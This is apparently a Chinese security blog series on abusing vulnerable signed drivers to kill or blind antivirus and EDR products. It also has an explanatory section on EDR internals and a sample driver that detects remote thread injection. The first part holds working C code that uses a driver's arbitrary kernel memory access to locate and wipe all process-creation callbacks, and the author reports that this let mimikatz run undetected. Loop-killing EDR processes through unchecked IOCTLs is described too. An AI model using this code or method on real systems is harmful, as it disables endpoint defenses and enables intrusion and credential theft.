设置Pid，利用驱动成功Kill 指定进程。

Tips: 一般杀软/EDR Kill 之后都会重启（原理可以参考上篇文章），所以可以考虑循环Kill。

通过上面的通用思路能挖掘到不少可以利用的驱动，如下图是另一个可以利用的驱动反编译信息。

Kill 进程的函数：

调用流：这类驱动漏洞存在的主要问题是没有权限校验，导致任何一个进程都可以去调这个驱动的IOCTL。当然有的驱动有的做了相应的校验，比如需要将进程PID 注册到它的可信列表里才能调 IOCTL。但是可能存在绕过，例如它可能允许任意进程注册可信列表。

利用任意地址读写的驱动

上面的利用是靠驱动自带的终止进程功能去Kill 杀软/EDR 的用户态进程。下面将讨论如何利用任意地址读写的驱动来清除内核中杀软驱动注册的回调函数，从而致盲杀软的部分功能。首先以一个驱动举例，来看一下如何寻找存在任意地址读写的驱动。

和前面的分析相同，通过IDA 先去定位到分发例程为14(0x0e)的函数内容，去查找不同的IOCTL值对应的功能实现，如下图是对应的一个IOCTL的实现。

可以看到此IOCTL 调用了MmCopyVirtualMemory()这个内核函数进行内存的拷贝。所以之后就根据它要求的参数格式，调用此IOCTL 就能进行任意地址读写。

Tips: 当然不同的驱动可能还有其他的初始化过程或其他的校验，就像上面分析的gmer64.sys 驱动一样。所以当直接调用这个IOCTL 不成功时，还是需要去看看它的具体逻辑。

用于内存拷贝的函数不止这一个，如下图，是另一个驱动的利用函数：

上一篇文章中通过PsSetCreateThreadNotifyRoutine()注册了线程通知的回调，实现了远程线程注入的监控。那么通过任意地址写，能不能将进程、线程这类回调函数给禁用呢？如果能修补此类回调，就能削弱杀软/EDR 部分功能。

驱动程序可以通过PsSetCreateProcessNotifyRoutine() 注册进程通知的回调函数，这样能在进程创建销毁时得到通知。下面以修补进程回调为例，来讨论一下实现的原理。（修补线程、图像加载通知是同理的）

Tips: 需要注意下面几个函数名比较容易混淆。

PspCreateProcessNotifyRoutine 是一个最大为64的结构体指针数组。创建/终止进程时，PspCallProcessNotifyRoutines会遍历此数组并调用系统上驱动程序注册的所有回调。所以如果能够修补此数组上的杀软回调那么就能使其监控进程的功能失效。

首先需要计算PspCreateProcessNotifyRoutine数组在内存中的位置才能进行修改，能想到的是PsSetCreateProcessNotifyRoutine() 这个注册进程回调的函数肯定会用到此数组。

先反汇编一下PsSetCreateProcessNotifyRoutine() 函数，发现比较简单，里面调用了PspSetCreateProcessNotifyRoutine() 函数。继续反汇编PspSetCreateProcessNotifyRoutine()函数发现在此函数中汇编指令lea将PspCreateProcessNotifyRoutine数组的地址保存到了R13寄存器中。

然后继续跟进PspCreateProcessNotifyRoutine数组地址。此数组内容中的结构体指针地址最后4位没有意义，所以通过移位操作去掉，最后获得的就是结构体的内容。此结构体为EX_CALLBACK_ROUTINE_BLOCK ，它是没有记录。但是ReactOS给了它定义：

typedef struct _EX_CALLBACK_ROUTINE_BLOCK {
    EX_RUNDOWN_REF RundownProtect;
    PEX_CALLBACK_FUNCTION Function;
    PVOID Context;
} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;

该结构体前8位是EX_RUNDOWN_REF 结构，可以忽略，后面的PEX_CALLBACK_FUNCTION 就是回调函数的地址，如上图。

拿到这个回调函数地址之后可以利用驱动的任意地址写向其写入0或ret指令，来使其失效。话不多说，下面来看一下代码实现。

#include "header.h"
HANDLE hDevice = NULL;
HANDLE Process = NULL;

PVOID GetNtoskrnlBase() {
	PRTL_PROCESS_MODULES ModuleInfo = (PRTL_PROCESS_MODULES)calloc(1024 * 1024,1);
	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, ModuleInfo, 1024*1024, NULL);
	if (!NT_SUCCESS(status)) {
		return 0;
	}

	for (int i = 0; i < ModuleInfo->NumberOfModules; i++)
	{
		if (lstrcmpiA((LPCSTR)(ModuleInfo->Modules[i].FullPathName + ModuleInfo->Modules[i].OffsetToFileName), "ntoskrnl.exe") == 0) {
			
			return ModuleInfo->Modules[i].ImageBase;
		}
	}
	return 0;
}
INT64 GetFuncAddress(CHAR* FuncName) {

	PVOID KBase=GetNtoskrnlBase();
	if (KBase == 0) {
		printf("未找到ntoskrnl.exe基地址\n");
		return 0;
	}
	HMODULE ntos = LoadLibraryA("ntoskrnl.exe");
	ULONG PocAddress = (ULONG)GetProcAddress(ntos, FuncName);
	ULONG Offset = PocAddress - (ULONG)ntos;
	return (INT64)KBase+Offset;
}
INT64 GetPspCreateProcessNotifyRoutineArray() {
	INT64 PsSetCallbacksNotifyRoutineAddress = GetFuncAddress((CHAR*)"PsSetCreateProcessNotifyRoutine");
	if (PsSetCallbacksNotifyRoutineAddress == 0) return 0;
	//定位PspSetCreateProcessNotifyRoutine函数地址
	INT count = 0;
	BYTE* buffer = (BYTE*)malloc(1);
	while (1) {
		DriverReadMemery((VOID*)PsSetCallbacksNotifyRoutineAddress, buffer,1);
		if (*buffer == 0xE8 || *buffer == 0xE9) {
			break;
		}
		PsSetCallbacksNotifyRoutineAddress = PsSetCallbacksNotifyRoutineAddress + 1;
		if (count == 200) {
			printf("未找到Pspsetcreateprocessnotifyroutine 函数地址\n");
			return 0;
		}
		count++;
	}

	//获取Pspsetcreateprocessnotifyroutine 函数的偏移地址
	UINT64 PspOffset = 0;
	for (int i = 4, k = 24; i > 0; i--, k = k - 8){

		DriverReadMemery((VOID*)(PsSetCallbacksNotifyRoutineAddress + i), buffer, 1);
		PspOffset = ((UINT64)*buffer << k) + PspOffset;
	}
	// 检查符号位
	if ((PspOffset & 0x00000000ff000000) == 0x00000000ff000000)
		PspOffset = PspOffset | 0xffffffff00000000; // 负偏移情况下的符号扩展
	
	INT64 PspSetCallbackssNotifyRoutineAddress = PsSetCallbacksNotifyRoutineAddress + PspOffset + 5;

	//printf("PspSetCallbackssNotifyRoutineAddress: %I64x\n", PspSetCallbackssNotifyRoutineAddress);

	//获取PspCreateProcessNotifyRoutineArray 数组地址
	//寻找lea 指令 来定位数组地址
	BYTE SearchByte1 = 0x4C;
	BYTE SearchByte2 = 0x8D;
	BYTE bArray[3] = {0};
	count = 0;
	INT64 back = PspSetCallbackssNotifyRoutineAddress;
	BOOL stop = FALSE;
	while (count <= 200) {
		DriverReadMemery((VOID*)PspSetCallbackssNotifyRoutineAddress, bArray, 3);
		if (bArray[0] == SearchByte1 && bArray[1] == SearchByte2) {
			
			if ((bArray[2] == 0x0D) || (bArray[2] == 0x15) || (bArray[2] == 0x1D) || (bArray[2] == 0x25) || (bArray[2] == 0x2D) || (bArray[2] == 0x35) || (bArray[2] == 0x3D))
			{
				break;
			}
		}
		PspSetCallbackssNotifyRoutineAddress = PspSetCallbackssNotifyRoutineAddress + 1;
		if (count == 200)
		{
			SearchByte1 = 0x48;
			count = -1;
			PspSetCallbackssNotifyRoutineAddress = back;
			if (stop)
			{
				printf("未找到lea 指令，无法定位PspSetCallbackssNotifyRoutineAddress 数组\n");
				return 0;
			}
			stop = true;
		}
		count++;
	}

	PspOffset = 0;
	for (int i = 6, k = 24; i > 2; i--, k = k - 8) {

		DriverReadMemery((VOID*)(PspSetCallbackssNotifyRoutineAddress + i), buffer, 1);
		PspOffset = ((UINT64)*buffer << k) + PspOffset;
	}

	if ((PspOffset & 0x00000000ff000000) == 0x00000000ff000000)
		PspOffset = PspOffset | 0xffffffff00000000; 

	INT64 PspCreateProcessNotifyRoutineAddress = PspSetCallbackssNotifyRoutineAddress + PspOffset + 7;

	return PspCreateProcessNotifyRoutineAddress;
}

int main()
{	
	Process = InitialDriver();
	if (!Process) return 0;
	INT64 PspCreateProcessNotifyRoutineAddress = GetPspCreateProcessNotifyRoutineArray();
	if (!PspCreateProcessNotifyRoutineAddress) {
		printf("Exit1\n");
		return 0;
	}
	printf("PspCreateProcessNotifyRoutineAddress: %I64x\n", PspCreateProcessNotifyRoutineAddress);

	INT64 buffer = 0;
	//展示所有注册进程回调的驱动
	printf("注册了进程回调的驱动基地址及其名称: \n----------------------------------------------------\n");
	for (int k = 0; k < 64; k++)
	{
		DriverReadMemery((VOID*)(PspCreateProcessNotifyRoutineAddress +(k * 8)), &buffer, 8);
		if (buffer == 0) continue;
		INT64 tmpaddr = ((INT64)buffer >> 4) << 4;
		DriverReadMemery((VOID*)(tmpaddr + 8), &buffer, 8);
		INT64 DriverCallBackFuncAddr = (INT64)buffer;
		DisplayDriverName(DriverCallBackFuncAddr);
	}
	printf("----------------------------------------------------\n以上不保证完全准确\n");

	//清除全部驱动的进程回调
	BYTE* data = (BYTE*)calloc(1, 1);
	for (int i = 0; i < 64; i++)
	{
		DriverReadMemery(data, (VOID*)(PspCreateProcessNotifyRoutineAddress + (i * 8)), 8);
	}
	printf("[Success] 进程回调清除完成\n");
	system("pause");
}

代码中的DriverReadMemery() 就是利用驱动进行读写的利用函数，具体实现要根据不同驱动情况来写。此外代码中最后清除的是全部驱动的进程回调，实际环境中需要根据驱动来进行清除，不然会导致系统某些功能出问题（目前发现清除全部会断网）。

以下面一个杀软的进程回调函数为例，一般情况下打开原生的mimikatz 必然被拦截。

执行上面的代码之后，成功打开mimikatz。并且还可以观察到安全防护中心的很多防护都关掉了，并且也无法手动打开，只有重启才能恢复。仅修补进程回调能瘫痪哪些功能还需要进一步测试，对于仅修补进程回调而言，不同的杀软/EDR 受影响的效果也不一样。例如上面的杀软修补进程回调以后，连明显特征的病毒文件删除不了（全盘扫描能检测，而强力粉碎也无法删除）。但是杀软/EDR 完全可以利用文件系统的微过滤驱动程序来捕获新落地的文件，检查其静态病毒特征并删除。所以不同的杀软/EDR 某些地方的效果有差异。

其他利用姿势

除了修补进程回调以外，还可以进一步修补线程的回调、映像载入的回调、对象和注册表的回调等，这些杀软/EDR 驱动会注册的回调。其次，还可以利用任意地址读写去禁用ETW、禁用DSE（注意PatchGuard）去加载不带签名的驱动、修改进程句柄权限使其能够Kill 杀软/EDR 进程等等。

防御检测

分析了利用原理，还需要考虑杀软/EDR 可能的防御手段。以下探讨理论性的可能方案，不保证在实际环境中的真实性（实际中可能要考虑平衡性等因素）。

SSDT Hook 技术检测 32位的Windows 可以直接挂钩SSDT 来监测内核函数调用。64位的Windows 可以尝试Bypass PathGuard（例如内存中禁用PG、在PG检查时间之前摘勾等）去挂钩SSDT。

挂钩SSDT 的防御原理也很简单：SSDT 表保存了非用户界面相关的系统服务函数等信息，前面利用的ZwTerminateProcess() 也在其中。首先保存原本的ZwTerminateProcess() 函数地址，并将其原来的地址替换为自己实现的函数地址。函数在调用原本的ZwTerminateProcess() 函数之前，判断Kill 的是否是自己EDR的进程，如果是则不调用原本的ZwTerminateProcess() 函数。
硬件虚拟化技术（Intel VT /AMD SVM）检测

硬件是实现虚拟化的基础，硬件(主要是CPU)会为虚拟化软件提供支持，从而实现硬件资源的虚拟化，它可以让一个CPU工作起来像多个CPU在并行运行。

例如Intel VT，它将操作系统、R0、R3变成了Guest，建立了特权层（VMM）用于监控Guest执行，也提供了对特殊指令的截获和重定向的支持。

利用VT 技术可以通过MSR Hook/EPT Hook 实现64位操作系统的无痕SSDT Hook（绕过PathGuard）、内核提权检测等技术。
过滤驱动程序检测

可以通过构建一个通用的过滤驱动程序附加到指定设备上，这样就能拦截到发往这个设备的请求（IRP），包括前面的我们向白驱动发送进程PID的请求。
驱动程序可以检查回调函数是否被修改

总结

相比于直接Kill 杀软/EDR 进程，利用任意地址读写去修补回调相对来说比较麻烦，禁用的功能可能不全，并且实现起来可能有系统版本兼容的问题（上面的代码仅在win10 和 win11 测过）。

但是直接Kill 进程会导致EDR 在总控显示掉线，这可能引起管理员的注意。利用驱动的任意地址读写，它不操作3环进程，不影响进程与总控通信。而是直接修改EDR 的驱动，使EDR 无法收集到例如主机上的进程活动等攻击行为，真正意义上的致盲。

此外，对于一些登录RDP 有二次认证的机器，Kill EDR 可以使其功能失效。

微软的VBS和某数字安全厂商的*晶都利用到了硬件虚拟化技术，理论上它们如果通过Hook SSDT 等方式保护其用户态进程，那就上面的方式就玩不动了。上述方法仅目前来说有效，且用且珍惜。

欢迎关注我的微信公众号：北秋风清（新的文章会在公众号上第一时间发布）

参考

白驱动 Kill AV/EDR（上）

myzx.xcg@gmail.com (myzxcg) — Fri, 22 Sep 2023 16:19:54 +0800

本文是白驱动Kill AV/EDR 的第一部分，将讨论驱动开发原理，杀软/EDR 监控拦截原理，并且编写驱动简单实现杀软/EDR 对某些行为的拦截。

一些相关的基本概念

进程

进程只进行管理，线程才是真正执行代码的东西。进程拥有的内容如下：
1. 可执行程序，保存了原始代码和数据。
2. 私有虚拟地址空间
3. 主令牌，安全上下文对象，线程会用到。
4. 私有句柄表，保存了事件、信号量、文件句柄
每个进程在内核中有一个唯一标识符。
线程

执行代码的真正实体是线程，线程位于进程之内，使用进程提供的资源来完成任务（例如虚拟内存和内核对象的句柄）
虚拟内存

内存以页面为单位进行管理。页面的大小由CPU类型决定，在所有Windows 支持的体系结构里，普通页面大小是4KB。

虚拟内存中的每个页面处于如下三种状态之一：
1. 空闲 — 这个页面未被分配，没有任何东西存在，对其进行访问会引起访问违例异常。
2. 已提交 — 已提交的页面通常被映射到RAM 或者文件中。
3. 保留 — 页面未提交，进行新的内存分配时，如果没有指定特定地址的话，将不会在保留的地址范围进行分配。
系统内存

地址空间的较低部分由进程使用，操作系统本身驻留于系统支持的地址空间的高端部分。系统空间和进程是无关的，因为是同一个系统、同一内核、同一驱动为每个进程提供服务。因此系统空间中的地址都是绝对地址，而不是相对地址。

系统空间是内核所在之处，不同从用户模式直接访问。这也意味着驱动程序的影响是系统范围的。如果一个内核驱动程序产生了内存泄露，那么即使在驱动程序卸载之后也得不到释放。但是在用户模式下，内核会负责关闭并释放任何死进程内部的东西。

系统调用过程

应用程序总是需要进行一些不纯是计算的操作，例如打开文件、分配内存，这些操作最终只能由位于内核模式的代码来进行。

例如：用户要打开一个文件，记事本会调用CreateFile（Kernel32.dll）来响应。在进行了错误检查后，CreateFile 会进一步调用NtCreateFile（NTDLL.dll），NTDLL.dll 实际上是位于用户模式最底层的代码，这个NtCreateFile 是执行到内核模式转换的API。

在进行实际的转换之前，它会先把系统调用号放到一个EAX 寄存器里，然后执行一个特殊的CPU 指令（syscall/sysenter）来实际转换到内核模式，并跳转到系统服务分发器的例程中去，系统服务分发器读取改寄存器中的值，作为系统服务分发表（SSDT）的索引，代码跳转至相应的系统调用中。

杀软/EDR 监控原理

传统杀软主要是为了检测拦截主机上的恶意行为和程序，而传统的EDR 并不是为了阻止主机上的恶意活动，而是通过机器学习、行为检测等方式来检测主机上更复杂的恶意活动，并将结果通知到管理员。下面讨论的也是这两者基本通用的检测原理。（Tips: 后文以"EDR" 为"杀软/EDR" 的简称）

大多数EDR 都有一个用户态组件和多个内核态组件，它们会通过驱动在内核中注册多个回调对象来实现进程、线程创建监控，API Hook 等等操作。下面会从用户态和内核态两方面来介绍EDR 监控的大致原理。

用户态的组成（R3）

EDR 用户态组件一般由用户态的服务和其用户态的PPL 进程构成。

Windows Vista首先引入了PP（Protected Process）模型，当时进程要么受保护，要么不受保护。从Windows 8.1 / Server 2012 R2开始，微软引入了Protected Process Light (PPL)的概念。PPL实际上是对以前的受保护进程模型的扩展，并添加了"保护级别" 的概念。进程的保护级别由该进程PE文件的签名级别决定。受保护的进程级别总是大于 PPL 进程，其次高价值的签名者进程可以访问低价值的进程，但反之则不然。

换句话说：

PP 进程可以打开具有完全访问权限的 PP 或 PPL 进程，只要其签名者级别大于或等于；
一个 PPL 进程可以打开另一个具有完全访问权限的 PPL 进程，只要其签名者级别大于或等于；
无论签名者级别如何，PPL 进程都无法以完全访问权限打开 PP 进程。

当然未受保护的进程都无法访问PP 和PPL 进程（只能使用受限的访问标志集）。用户态的EDR 进程一般会将进程启动为PPL级别来保护自己避免被用户态程序篡改，这导致PPL 进程只能从Windows 内核中去终止。（经过观察发现国内的杀软/EDR 用户态大多不是PPL 进程，但是它也可以通过内核回调对象实现对其用户态进程的保护，以达到相同的效果，后面会细说代码实现）

Tips: 杀软/EDR 的保护级别一般是PsProtectedsignerAntimalware-Light。

在后面测试可能会遇到过这样一个问题：

为什么被终止的EDR 用户态PPL 进程总是会重新初始化（Kill 之后会重启）？以及EDR 的哪个模块进行的这个初始化操作？

一般来说是由用户态的EDR 服务组件负责初始化和调度EDR 的PPL 进程。如下图，从左到右，第一个窗口是EDR 的PPL进程，第二个窗口是EDR 的服务进程，第三个窗口是这个服务的介绍。

按理说如果能关闭EDR 的用户态服务，那么就能完全关闭掉EDR 的用户态组件。但是EDR 通常将其用户态服务初始化为受保护的服务，受保护的服务初始化是由一个叫Early Launch Antimalware 的EDR驱动程序完成的，这个内核驱动程序不允许停止、禁用这个受保护服务以及不允许修改它的注册表项启动类型来关闭（某些情况下，有的EDR 能修改成功，但重启后修改的值会被重置），如下图。

内核态的实现（R0）

EDR 的核心拦截能力主要在内核中实现。通过在内核中注册回调例程，EDR 可以在用户态创建进程、注册表操作、对象获取等等方面进行监控和拦截，属于系统底层的拦截机制。在Windows XP SP3 发布之前，EDR 可以在Windows 内核中进行Hook，比如对SSDT 表的Hook，但微软为了Windows 内核稳定引入了Patch Guard 到内核中。

Patch Guard 会在不规则的时间间隔内来检查 Windows 内核中某些代码区域是否存在诸如挂钩之类的操作，在必要时通过蓝屏死机 (BSOD) 来阻止 Windows 的进一步执行。Patch Guard 也有Bypass 方法，但现在的杀软/EDR 一般不会通过漏洞来bypass，因为可能会导致蓝屏。

虽然微软引入了Patch Guard 来禁止EDR 在内核中进行Hook 操作，但是它也引入了另一种机制 — 内核回调对象来让EDR 可以在内核中实现保护、检测策略。内核回调机制允许EDR 通过筛选器驱动程序以回调例程的形式注册回调对象，这允许EDR在Windows内核的回调数组中注册不同的回调例程。

举个例子：EDR 在内核中注册了在回调数组中注册了一个进程通知的回调例程，那么进程在用户态中被创建和终止时，都会触发这个回调通知，这样EDR 就知道哪个进程被创建了，从而进行后面一系列的保护或检测操作。

例如注入DLL 去Hook API 来实现恶意代码检测、内存页面保护等。下面简单介绍一下EDR 在用户态的Hook 原理：

上面借用@Daniel Feichter 的图来说明，以VirtualAlloc 和 NtAllocateVirtualMemory 为例，EDR 一般会在kernel32.dll 或 NTDLL.dll 中进行Hook，EDR 可以通过JMP 指令（或其他Hook 库）将调用重定向到EDR注入的Dll 中，这样EDR就能分析的参数、调用的上下文代码等信息，如果没有扫描出恶意代码或行为，才会进行后续正常的调用逻辑。

当然绕过用户态的函数Hook的方法也有很多，可以通过直接系统调用、间接系统调用（两种系统调用都可以被检测）、内存中反汇编等方式绕过。在windbg 调试中，发现几个常见的国内杀软和EDR并没有对Kernel32.dll 和ntdll.dll 函数调用做Hook。

一个简单的驱动程序

后面会进行简单的驱动程序开发，实现某些EDR 的检测功能，这样有助于理解EDR 在驱动内部的检测原理。不过首先需要搭建驱动开发环境，首先先构建一个最简单的驱动程序。

这里用Visual Studio 2022 进行开发，Visual Studio 2022 只能安装 Windows 11 版本 22H2 WDK（Windows 驱动程序开发工具包）。并且安装WDK 时需要安装对应版本的Windows SDK。
1. 下载WDK ，这时候下载的是10.0.22621.382版本。
2. 在Visual Studio 2022上下载，10.0.22621.3.0 版本的SDK。
在下载好后，新建项目就能看到Empty WDM Driver模板并选择创建项目，创建完项目后删除生成的.inf 文件。

一个Hello Word 驱动程序

#include <ntddk.h>

void DriverUnload(PDRIVER_OBJECT pDriverObject);

//入口函数，相当于main
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath)
{

	UNREFERENCED_PARAMETER(pRegPath); // 解决pRegPath 变量的未引用报警
	KdPrint(("DriverEntry ok\n"));
	NTSTATUS status = STATUS_SUCCESS;
	pDriverObject->DriverUnload = DriverUnload;

	return status;
}
//用于驱动程序卸载时执行
void DriverUnload(PDRIVER_OBJECT pDriverObject)
{
	UNREFERENCED_PARAMETER(pDriverObject);
	KdPrint(("DriverUnload ok\n"));

	return;
}

点击编译，会发现有报错，需要在Visual Studio 2022 上安装缓解了 Spectre 漏洞的库。在VS上安装即可，此处版本要对应上。
生成sys 驱动文件

加载驱动

#本机打开测试签名模式，并重启
bcdedit /set testsigning on
#安装驱动
sc create DriverTest type= kernel binPath= "C:\Users\Administrator\MyDriver.sys"
#加载驱动
sc start DriverTest
#卸载驱动
sc stop DriverTest

下图可以看到加载驱动和卸载驱动的输出

内核回调机制

这种机制简单来说就是在系统某些事情发生时驱动程序可以得到通知。

比如EDR 可以注册很多个回调例程，可以这些回调例程可以在进程与线程创建销毁、映像加载、注册表修改、对象获取、文件系统等操作时获得通知，这样EDR 就可以很好的对这些内容进行监控、拦截等操作。

下面通过编写代码模拟EDR 驱动、EDR 用户态进程来实现一个简易版的EDR。

实现 - 远程线程注入拦截

大家都知道某数字杀软在某个模式下，会对远程线程注入进行拦截。下面就来自己实现一下，从内核中禁止远程线程注入。

基本逻辑如下：驱动程序检测到远程线程注入，用户态进程（模拟EDR 进程）通过与驱动程序通信获取到这个恶意行为，然后用户态的进程弹窗提示被拦截。实现效果如下图所示：检测原理：

驱动程序通过PsSetCreateThreadNotifyRoutine()注册系统中线程创建与销毁的回调函数，这样系统中只要有线程的创建和销毁时，都会执行我们定义的回调函数。远程线程的创建者是发起注入进程的PID而不是这个线程所在进程的PID，通过此检测逻辑即可判断是否是远程线程注入。然后，将符合远程进程创建条件的就记录在一个双向链表中，用户端EDR 通过访问驱动的设备对象，读取链表中的值。然后弹窗警告有进程在进行远程线程注入。

以下代码重要代码都写了注释，不逐行分析了。

驱动程序编写（EDR.sys）

实现对远程线程注入的检测

main.c

#include <ntddk.h>

typedef struct {

	ULONG ThreadId;
	ULONG Create_ProcessId;
	ULONG Belong_ProcessId;

}ThreadData;
typedef struct {
	LIST_ENTRY Entry;
	ThreadData Data;
}Item;

typedef struct {
	FAST_MUTEX Mutex;
	ULONG ItemCount;
	LIST_ENTRY Header;
}Global;//全局变量
Global global;
void DriverUnload(PDRIVER_OBJECT pDriverObject);
void ThreadNotify(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create);
NTSTATUS DispatchFuncRead(PDEVICE_OBJECT DeviceObject, PIRP Irp);
NTSTATUS DispatchFuncDefault(PDEVICE_OBJECT DeviceObject, PIRP Irp);
void PushItem(LIST_ENTRY* entry);
//入口函数，相当于main
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath)
{
	UNREFERENCED_PARAMETER(pRegPath);
	UNICODE_STRING DevName = RTL_CONSTANT_STRING(L"\\Device\\RemoteThreadDev");
	//创建设备对象
	PDEVICE_OBJECT DeviceObject;
	NTSTATUS status = IoCreateDevice(pDriverObject, 0, &DevName, FILE_DEVICE_UNKNOWN, 0, 0, &DeviceObject);
	if (!NT_SUCCESS(status)) {
		KdPrint(("设备对象创建失败 (0x%08X)\n",status));
		return status;
	}
	DeviceObject->Flags |= DO_DIRECT_IO;
	//提供符号链接使得设备能够被用户态的调用者访问
	//下面创建了一个符号链接并将其与我们的设备对象连接起来
	UNICODE_STRING SymbolicLink = RTL_CONSTANT_STRING(L"\\??\\RemoteThreadCheck");
	status = IoCreateSymbolicLink(&SymbolicLink, &DevName);

	if (!NT_SUCCESS(status)) {
		KdPrint(("符号链接创建失败 (0x%08X)\n", status));
		//创建失败时 要销毁设备对象
		IoDeleteDevice(DeviceObject);
		return status;
	}
	//此函数是用于注册线程创建和销毁的回调通知
	status = PsSetCreateThreadNotifyRoutine(ThreadNotify);
	if (!NT_SUCCESS(status)) {
		KdPrint(("注册线程回调失败 (0x%08X)\n", status));
		//失败情况需要销毁申请的句柄
		IoDeleteDevice(DeviceObject);
		IoDeleteSymbolicLink(&SymbolicLink);
		return status;

	}
	KdPrint(("线程回调注册成功\n"));

	pDriverObject->DriverUnload = DriverUnload;

	InitializeListHead(&global.Header);//初始化链表头 LIST_ENTRY结构的双向链表
	ExInitializeFastMutex(&global.Mutex);

	//指定Create和 Close 分发例程
	pDriverObject->MajorFunction[IRP_MJ_CLOSE] = pDriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchFuncDefault;
	//指定读设备对象的分发例程
	pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchFuncRead;

	status = STATUS_SUCCESS;
	return status;
}

NTSTATUS DispatchFuncRead(PDEVICE_OBJECT DeviceObject, PIRP Irp) {

	UNREFERENCED_PARAMETER(DeviceObject);

	PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
	//缓冲区长度
	ULONG len = stack->Parameters.Read.Length;

	ULONG count = 0;

	NT_ASSERT(Irp->MdlAddress);

	//获取缓冲区地址
	//此函数返回MdlAddress描述的缓冲区非分页系统虚拟机地址
	UCHAR* buffer = (UCHAR*)MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority); 
	if (!buffer) {
		KdPrint(("获取缓冲区非分页虚拟地址失败"));
		return STATUS_UNSUCCESSFUL;
	}

	ExAcquireFastMutex(&global.Mutex);

	//一次性将链表中的内容读出来
	while (1) {

		if (IsListEmpty(&global.Header)) break;

		PLIST_ENTRY entry = RemoveHeadList(&global.Header);//去除第一个

		Item* info = CONTAINING_RECORD(entry, Item, Entry);//找到Item结构体地址

		ULONG size = sizeof(ThreadData);

		if (len < size) {

			//如果缓冲区长度不够 就将原数据插回去 然后在退出
			InsertTailList(&global.Header, entry);
			break;
		}

		global.ItemCount--;

		//复制到缓冲区
		memcpy(buffer, &info->Data, size);

		buffer += size;

		len -= size;

		count += size;

		ExFreePool(info);

	}

	ExReleaseFastMutex(&global.Mutex);
	//向用户进程响应请求完成的代码
	Irp->IoStatus.Information = count;

	Irp->IoStatus.Status = STATUS_SUCCESS;

	IoCompleteRequest(Irp, IO_NO_INCREMENT);

	return STATUS_SUCCESS;

}

//此分发例程只需要返回请求成功的状态代码
NTSTATUS DispatchFuncDefault(PDEVICE_OBJECT DeviceObject, PIRP Irp) {

	UNREFERENCED_PARAMETER(DeviceObject);
	Irp->IoStatus.Information = 0;
	Irp->IoStatus.Status = STATUS_SUCCESS;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);

	return STATUS_SUCCESS;
}

//用于驱动程序卸载时执行
void DriverUnload(PDRIVER_OBJECT pDriverObject)
{
	UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\RemoteThreadCheck");
	IoDeleteSymbolicLink(&symLink);
	IoDeleteDevice(pDriverObject->DeviceObject);

	PsRemoveCreateThreadNotifyRoutine(ThreadNotify);

	//清除整个链表
	while (!IsListEmpty(&global.Header)) {
		PLIST_ENTRY item = RemoveHeadList(&global.Header);
		Item* fullitem = CONTAINING_RECORD(item, Item, Entry);
		ExFreePool(fullitem);
	}
	KdPrint(("DriverUnload ok\n"));
	return;
}
//触发线程创建销毁时执行
void ThreadNotify(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create) {
	if (Create) {
		//如果线程的所属进程和创建的进程不一致，说明这个线程是远程进程创建的。
		//这里只收集新线程的信息，判断处理交给用户态进程
		Item* item = (Item *)ExAllocatePool2(POOL_FLAG_PAGED, sizeof(Item), 'abcd');
		if (item) {
			item->Data.ThreadId = HandleToUlong(ThreadId);
			item->Data.Create_ProcessId = HandleToUlong(PsGetCurrentProcessId());
			item->Data.Belong_ProcessId = HandleToUlong(ProcessId);
			//所有新进程的第一个线程都是由pid为4的System进程创建的，所以需要排除
			if (item->Data.Create_ProcessId != item->Data.Belong_ProcessId && item->Data.Create_ProcessId !=4) {
				//到这步检测已完成
				KdPrint(("检测到远程线程注入,tid %d ,cpid %d , bpid %d\n", item->Data.ThreadId, item->Data.Create_ProcessId, item->Data.Belong_ProcessId));
				//但是需要把数据传回到用户态的进程，以便弹窗显示威胁
				//将LIST_ENTRY存储到双向链表中
				PushItem(&item->Entry);
			}
			//ExFreePool(item);
		}

	}
}

void PushItem(LIST_ENTRY* entry) {

	ExAcquireFastMutex(&global.Mutex);

	if (global.ItemCount > 1024) { //大于1024个就删除第一个添加的程序

		PLIST_ENTRY pitem = RemoveHeadList(&global.Header);
		//CONTAINING_RECORD 根据结构体成员变量的地址计算出结构体地址
		ExFreePool(CONTAINING_RECORD(pitem, Item, Entry));

		global.ItemCount--;

	}
	//插入新数据
	InsertTailList(&global.Header, entry);
	global.ItemCount++;
	ExReleaseFastMutex(&global.Mutex);
}

用户态程序编写（EDRClient.exe ）

用户态程序与驱动进行通信，获取进行远程线程注入的恶意程序信息

main.cpp

#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#pragma comment(lib,"psapi.lib")
typedef struct {

    ULONG ThreadId;
    ULONG Create_ProcessId;
    ULONG Belong_ProcessId;

}ThreadData;

CHAR* GetPathByProcessId(DWORD dwPid)
{
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (hProcess == NULL)
        return NULL;
    CHAR* path = (CHAR*)calloc(MAX_PATH,1);
    GetModuleFileNameExA(hProcess, NULL, path, MAX_PATH);
    return path;
}

int main() {
    HANDLE hFile = CreateFile(L"\\\\.\\RemoteThreadCheck", GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

    if (hFile == INVALID_HANDLE_VALUE) {

        printf("设备对象打开失败\n");
        return 0;

    }
    while (1) {
        BYTE* buffer = (BYTE*)calloc(1024*200, 1);
        if (buffer == NULL) return 0;
        DWORD bytes = 0;
        ReadFile(hFile, buffer, 1024, &bytes, 0);
        while (bytes > 0) {
            ThreadData* item = (ThreadData*)buffer;
            printf("ThreadId:%d, BelongPid:%d, CreatePid:%d\n", item->ThreadId, item->Belong_ProcessId, item->Create_ProcessId);
            CHAR* WarningText = (CHAR*)calloc(1024*20,1);
            if (WarningText == NULL) return 0;
            CHAR* process1 = GetPathByProcessId(item->Create_ProcessId);
